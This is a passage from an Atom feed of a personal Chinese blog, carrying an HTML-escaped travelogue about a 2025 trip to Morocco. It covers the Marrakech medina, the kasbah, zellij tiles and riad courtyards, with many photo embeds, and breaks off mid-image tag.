<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet href="/atom.xslt" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="zh-hans">
  <title>空栈顶</title>
  <link href="https://emptystack.top/atom.xml" rel="self" type="application/atom+xml" />
  <updated>2026-02-02T18:29:01+00:00</updated>
  <id>https://emptystack.top/atom.xml</id>
  <entry xml:lang="zh-hans">
    <title>2025摩洛哥游</title>
    <published>2026-02-02T15:38:50+00:00</published>
    <updated>2026-02-02T18:29:01+00:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/morocco/" type="text/html" />
    <id>https://emptystack.top/morocco/</id>
    <content type="html">
      







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20251223_170251371.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251223_170251371.152d21b36adcdc3e.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251223_170251371.acab742fcf70253a.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251223_170251371.4badca95e36d52bb.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251223_170251371.acab742fcf70253a.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;我是在离开丹吉尔的飞机上阅读阿布・阿布杜拉・伊本・阿布杜拉・伊本・穆罕默德・伊本・伊布拉欣・赖瓦提・丹吉尔・伊本・白图泰的游记的。因为我在来到丹吉尔前，完全不知道鼎鼎大名、与马可・波罗同时代，但足迹遍布更广的旅行家伊本・白图泰是丹吉尔人；而等我了解了，也要离开摩洛哥了。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;伊本・白图泰游记》与我熟悉的游记不同——作者不在乎如何串连起他的旅程，而聚焦于一个个小故事（有很多章节就叫《故事&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，甚至还会连续出现&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;、作者印象深刻的点（&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;中国鸡》讲中国的鸡比鸵鸟还大，鹅却很小；&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;黑暗地带》讲商人们在距离喀山四十天里程的极夜地区与鬼神做生意；&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;修道士国王哲尔智斯》则记载了已退位出家的&lt;ruby&gt;安德洛尼卡二世&lt;rp&gt;（&lt;&#x2F;rp&gt;&lt;rt&gt;Ανδρόνικος Β΄ Παλαιολόγος&lt;&#x2F;rt&gt;&lt;rp&gt;）&lt;&#x2F;rp&gt;&lt;&#x2F;ruby&gt;对去过基督教圣地的作者十分尊敬，但拒绝了作者参观&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-istanbul&#x2F;#%E5%9C%A3%E7%B4%A2%E8%8F%B2%E4%BA%9A%E5%A4%A7%E6%B8%85%E7%9C%9F%E5%AF%BA&quot;&gt;圣索菲亚大教堂&lt;&#x2F;a&gt;请求的事&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。这种零碎的组织方式可能和白图泰第一次旅行就花去&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;24&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年的厚重经历有关——要是每一个地方都详细记录的话，可能就要用柜子来装全本游记了；而且这本游记是白图泰口述，他人笔录并整理的，所以本身就是以讲故事的方式创作的，写成故事集的形式也正常。&lt;&#x2F;p&gt;
&lt;p&gt;出于&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;tracking-and-note-taking&#x2F;#%E4%B8%BA%E4%BA%86%E9%81%97%E5%BF%98%E8%80%8C%E8%AE%B0%E5%BD%95&quot;&gt;清空大脑的目的&lt;&#x2F;a&gt;，我写&lt;a href=&quot;&#x2F;tags&#x2F;Travel&quot;&gt;游记&lt;&#x2F;a&gt;倾向于按时间顺序详细写每天的行程，&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;southern-france&#x2F;#%E6%9C%AA%E6%9D%A5%E7%9A%84%E6%B8%B8%E8%AE%B0&quot;&gt;但自从被人嘲笑适合发小红书以后，我就想换一种写法&lt;&#x2F;a&gt;。既然摩洛哥是白图泰的祖国，那我也以他的方式来记述我的摩洛哥游记吧。&lt;&#x2F;p&gt;
&lt;p&gt;
&lt;h2&gt;目录&lt;&#x2F;h2&gt;
&lt;ul&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;morocco&#x2F;#狭窄的过道与高耸的红墙&quot;&gt;狭窄的过道与高耸的红墙&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;morocco&#x2F;#故事&quot;&gt;故事&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;morocco&#x2F;#极繁但悦目的密铺瓷砖（Zellij）&quot;&gt;极繁但悦目的密铺瓷砖（Zellij）&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;morocco&#x2F;#天堂中庭&quot;&gt;天堂中庭&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;morocco&#x2F;#驴子博物馆&quot;&gt;驴子博物馆&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;morocco&#x2F;#非洲杯&quot;&gt;非洲杯&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;morocco&#x2F;#铁路打折卡&quot;&gt;铁路打折卡&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;morocco&#x2F;#随处可见的猫&quot;&gt;随处可见的猫&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
&lt;&#x2F;ul&gt;
&lt;&#x2F;p&gt;
&lt;h2 id=&quot;狭窄的过道与高耸的红墙&quot;&gt;狭窄的过道与高耸的红墙&lt;&#x2F;h2&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20251220_100217452.MP.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251220_100217452.MP.d5828df55aa43347.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251220_100217452.MP.ab20b38f7b709e02.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251220_100217452.MP.f2a7ccfb4f31512e.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251220_100217452.MP.ab20b38f7b709e02.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;div class=&quot;columns&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20251222_100343118.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251222_100343118.87009a495d1a19cb.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251222_100343118.0bec0014c6b580bf.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251222_100343118.24f89f6f6bfcaa52.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251222_100343118.0bec0014c6b580bf.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20251220_152732856.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251220_152732856.54746e7c21f9232b.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251220_152732856.ebe6aa0ed4e10aed.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251220_152732856.6cf06fdbafc1170d.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251220_152732856.ebe6aa0ed4e10aed.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;马拉喀什的麦地那不愧迷宫之名&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-1&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-1-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-1-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[1]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-1-content&quot;&gt;这里说的不是和麦加并列伊斯兰教圣地的城市麦地那。麦地那这个词是阿拉伯语城镇的意思，在当今的摩洛哥可以理解为古城。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;过道狭窄、曲折，又四通八达。走在两旁的高墙之间，竟有“两岸连山，略无阙处。重岩叠嶂，隐天蔽日”的感觉。只不过这些建筑要么是义乌小摊，要么是顶楼饭店，离自然实在太远了，让习惯了绿树和草地的我有些窒息。&lt;&#x2F;p&gt;
&lt;p&gt;也许是马拉喀什的迷宫太过庞大，当地人会骑摩托车穿梭于拥挤的巷子。这点实在是令人恐惧——倒不是怕抢劫，这里的民风还是比伦敦淳朴——只是单纯害怕被撞到罢了。拉巴特的麦地那倒还好，没有呼啸的摩托车，墙也刷着白漆。不过确实少了马拉喀什那种狂野之感。我觉得马拉喀什和马赛有共同的气息：也许是因为同样暴露的黄色陶土吧。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;故事&quot;&gt;故事&lt;&#x2F;h2&gt;
&lt;div class=&quot;maybe-columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;WhatsApp Image 2026-02-02 at 17.45.30.jpeg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;WhatsApp Image 2026-02-02 at 17.45.30.jpeg&quot;
	alt=&quot;&quot;
	height=&quot;1600&quot;
	width=&quot;738&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;div&gt;
&lt;p&gt;说到麦地那，就不能不提卡斯巴。我和小林出了丹吉尔火车站，经出租车调度站会英语的大哥分配到一辆只会说阿拉伯语司机的&lt;ruby&gt;小出租车&lt;rp&gt;（&lt;&#x2F;rp&gt;&lt;rt&gt;Petit Taxi&lt;&#x2F;rt&gt;&lt;rp&gt;）&lt;&#x2F;rp&gt;&lt;&#x2F;ruby&gt;。我们尝试了很多种方式告诉司机酒店地址——我至今觉得司机重复半天的“日批爱斯”是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GPS，但出示了坐标之后司机还是不明白，只是一味地开车。直到我们到了某个繁忙的环岛，司机大喊“卡斯爸&lt;span class=&quot;halt&quot;&gt;！&lt;&#x2F;span&gt;&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;，示意我们下车。我们最后通过“Left&lt;span class=&quot;halt&quot;&gt;！&lt;&#x2F;span&gt;&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;、&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;Right&lt;span class=&quot;halt&quot;&gt;！&lt;&#x2F;span&gt;”的方式指导司机到达了酒店门口，心甘情愿地给了小费——因为司机这一趟车开得确实太不容易了，他说不定还要害怕被我们带来带去，最后会被我们卖掉呢。别不信，小林为了明白司机在向我们问什么，下载了一款听译软件。软件告诉我们司机说的是“明天我可能会被杀，妈妈的歌，看看你有没有歌，有什么告诉我们&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;”&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;&#x2F;div&gt;
&lt;p&gt;总之，那一晚之后我就在想什么是卡斯巴，因为司机让我们下车的地方看起来太像麦地那了，而卡斯巴这个词又给我很熟悉的印象。我仔细回想了下，然后想起了卡斯巴尔・雷姆・戴肯——&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;高达》里面为了保护环境向地球扔陨石的夏亚总帅真名。但想起了这点，仍然不能解释为什么司机把麦地那叫做卡斯巴。回家后查了下互联网，才知道麦地那是老城区，而卡斯巴是要塞遗址。当然，为了防护城市居民，要塞确实应该建在城市旁边。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;极繁但悦目的密铺瓷砖（Zellij）&quot;&gt;极繁但悦目的&lt;ruby&gt;密铺瓷砖&lt;rp&gt;（&lt;&#x2F;rp&gt;&lt;rt&gt;Zellij&lt;&#x2F;rt&gt;&lt;rp&gt;）&lt;&#x2F;rp&gt;&lt;&#x2F;ruby&gt;&lt;&#x2F;h2&gt;
&lt;div class=&quot;columns c9-16&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20251220_102417210.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251220_102417210.238305f913b19904.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251220_102417210.c2e333ac2775c16d.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251220_102417210.6fbe44a7b00db0fd.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251220_102417210.c2e333ac2775c16d.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;4080&quot;
	width=&quot;3072&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20251222_104125048.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251222_104125048.4fe8539041a4eb4e.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251222_104125048.65fe618c56169382.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251222_104125048.08ac1a53c4874a47.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251222_104125048.65fe618c56169382.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;div class=&quot;columns c16-9&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20251222_145704406.MP.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251222_145704406.MP.f3b5c1cffebddcc7.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251222_145704406.MP.b2ced7680f009ce9.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251222_145704406.MP.bd2bb0449e588d59.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251222_145704406.MP.b2ced7680f009ce9.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20251222_161607289.MP.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251222_161607289.MP.8dcb7453cd88b461.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251222_161607289.MP.129c1e753f1bdb58.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251222_161607289.MP.1e41f2220bb1e3c2.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251222_161607289.MP.129c1e753f1bdb58.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;4080&quot;
	width=&quot;3072&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;我喜欢伊斯兰世界用于装饰的几何图形。通过旋转、对称、平移，这些简单的单个图形构成了无限拼接的花朵、星星，和海洋……在石头上雕刻已然能体现这种排列的美，再用上大胆的色彩，又让这种图案的观赏性更进一步。摩洛哥作为这种装饰的发源地，到处可见美丽的瓷砖，可让我作为爱好者舒服极了。&lt;&#x2F;p&gt;
&lt;p&gt;依我看，当今世界的审美就是被极简主义害了——&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;少即是多”只是无能设计师自欺欺人的借口，能用最小的颗粒铺满整个空间，而不使人感到杂乱，这才是真功夫&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-2&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-2-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-2-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[2]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-2-content&quot;&gt;我的博客就是不会设计才如此简单的。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;
&lt;p&gt;丹吉尔酒店热衷于聊天的接待人员告诉我如今制作这种瓷砖的能工巧匠都居住于菲斯。不过我们有幸在拉巴特躲雨时遇到了一位正在拿锤子“修剪”瓷砖的老师傅（照片里的黑白照片就是他年轻时候做手艺活的样子&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。因为行李箱的原因，我们买了一块最小的瓷砖挂件。老师傅不会说英语，只用“Madame&lt;span class=&quot;halt&quot;&gt;！&lt;&#x2F;span&gt;”叫住了小林，现场又凿出一块爱心釉砖，送给了她，然后对我们笑。&lt;&#x2F;p&gt;
&lt;p&gt;我还十分喜欢传承了这种拼接艺术，又融入了渐变形象的&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;mcescher.com&#x2F;gallery&#x2F;transformation-prints&#x2F;&quot;&gt;莫里茨・科内利斯・埃舍尔&lt;&#x2F;a&gt;。埃舍尔是在如今西班牙境内的摩洛哥建筑阿尔罕布拉宫中的密铺瓷砖获得灵感的。其实我是先知晓了埃舍尔，才追本溯源，了解到了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Zellij。美确实是永不过时的。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;天堂中庭&quot;&gt;天堂中庭&lt;&#x2F;h2&gt;
&lt;div class=&quot;columns c16-9&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20251220_134957983.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251220_134957983.ce71759fd7b20d65.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251220_134957983.c4fb062de51bebcf.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251220_134957983.eb26531b50eca0e7.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251220_134957983.c4fb062de51bebcf.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20251222_084953840.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251222_084953840.e4634710b458f86c.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251222_084953840.c8b9e35ee7d68991.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251222_084953840.2be2a73fdf61ad6f.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251222_084953840.c8b9e35ee7d68991.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;4080&quot;
	width=&quot;3072&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;古兰经》第九章七十二节有云：&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;真主许信道之男女，使入乐园，其下诸河流注，永居其中&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;。所以摩洛哥有钱人的传统建筑就是仿照天堂的样子，修建成中间配有喷泉的封闭式花园。如今很多酒店或是改造了之前的小庭院，或是延续这种风格建造了新的庭院，总之很有当地特色——当然，我们住的小楼没法和富豪家的花园楼相比，中庭被挤地只剩下略显幽闭的天井了。不过再怎么说，在沙漠旁享受凉亭和喷泉，那可真是惬意啊。想象互联网还没有诞生，世界大战听起来像幻想的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;500&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年前，你坐在泉水旁的躺椅上不知不觉打了个瞌睡……要是有西瓜就更好了。&lt;&#x2F;p&gt;
&lt;p&gt;虽说摩洛哥确实有大片沙漠、主要城市也在沙漠边缘，但摩洛哥其实也是有雨季的。不巧的是，我们去的那几天正赶上连续下雨。拉巴特的酒店拥有相对较大的中庭，而且不像马拉喀什那家用塑料布封住了天井顶部。所以下雨时可以在房间里注视、倾听庭院里的密雨，那惬意更是上了一个台阶（我们在被窝里玩《世界游戏大全&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;51&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，我赢了很多把&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;驴子博物馆&quot;&gt;驴子博物馆&lt;&#x2F;h2&gt;
&lt;div class=&quot;columns c9-16&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20251223_121906243.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251223_121906243.462aae1915394b99.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251223_121906243.4ea1f512baf89afe.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251223_121906243.1a5ad840825a9d49.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251223_121906243.4ea1f512baf89afe.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;4080&quot;
	width=&quot;3072&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20251223_143302323.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251223_143302323.364caa10f87edb33.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251223_143302323.b094ce51e59318bf.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251223_143302323.3373f2d9d6a1510d.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251223_143302323.b094ce51e59318bf.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;div class=&quot;columns&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20251223_143308109.MP.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251223_143308109.MP.0474c578bfd7202c.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251223_143308109.MP.2303663f8b0d4bd5.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251223_143308109.MP.bacc7b1a4e6ea7f3.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20251223_143308109.MP.2303663f8b0d4bd5.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;4080&quot;
	width=&quot;3072&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20251223_142332024.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
